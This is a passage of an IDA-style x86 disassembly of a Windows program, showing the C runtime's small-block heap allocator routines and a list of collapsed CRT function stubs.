[ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, Dst test eax, eax jz loc_41E1B8 mov ecx, dword_4DCFCC mov esi, ds:dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4DCFCC mov eax, Dst mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, Dst mov ecx, dword_4DCFCC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, Dst mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, Dst mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, Dst loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, Dst push dword ptr [eax+10h] push 0 push dword_4DCFE4 call ds:dword_427140 ; RtlFreeHeap mov eax, dword_4DCFD8 mov edx, dword_4DCFDC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, Dst sub ecx, eax lea ecx, [ecx+edx-14h] push ecx ; Size lea ecx, [eax+14h] push ecx ; Src push eax ; Dst call _memcpy_0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DCFD8 cmp eax, Dst jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DCFDC mov dword_4DCFD0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DCFCC, edi mov Dst, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41DDD2+41p ; sub_41EC6E:loc_41EE3Dp cmp dword_43A9C0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A9B0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DCFE4 call ds:dword_427144 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, ds:dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41EA8E mov eax, offset off_43A9B0 cmp esi, eax jnz short loc_41EA06 cmp off_43A9B0, 0 jnz short loc_41E9F6 mov off_43A9B0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A9B4, 0 jnz short loc_41EA1B mov off_43A9B4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A9B4 mov [esi+4], eax mov off_43A9B4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi call ds:dword_4271C0 ; VirtualFree loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A9B0 jz short loc_41EAB3 push esi push 0 push dword_4DCFE4 call ds:dword_427140 ; RtlFreeHeap loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call ds:dword_4271C0 ; VirtualFree cmp off_43C9D0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C9D0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A9B0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DCFE4 call ds:dword_427140 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A9C0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A9B4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call ds:dword_4271C0 ; VirtualFree test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB9D4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A9B4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A9B0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB9D4 cmp dword_4DB9D4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... Val = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C9D0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+Val], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+Val] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C9D0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C9D0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A9B0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+Val], eax call ds:dword_4271C4 ; VirtualAlloc cmp eax, esi jnz loc_41EE6F push 0 ; Size push [ebp+Val] ; Val push esi ; Dst call _memset mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C9D0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C9D0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] ; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] ; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND] off_41FDC0 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND] ; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND] ; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] ; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] ; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] ; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] ; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION 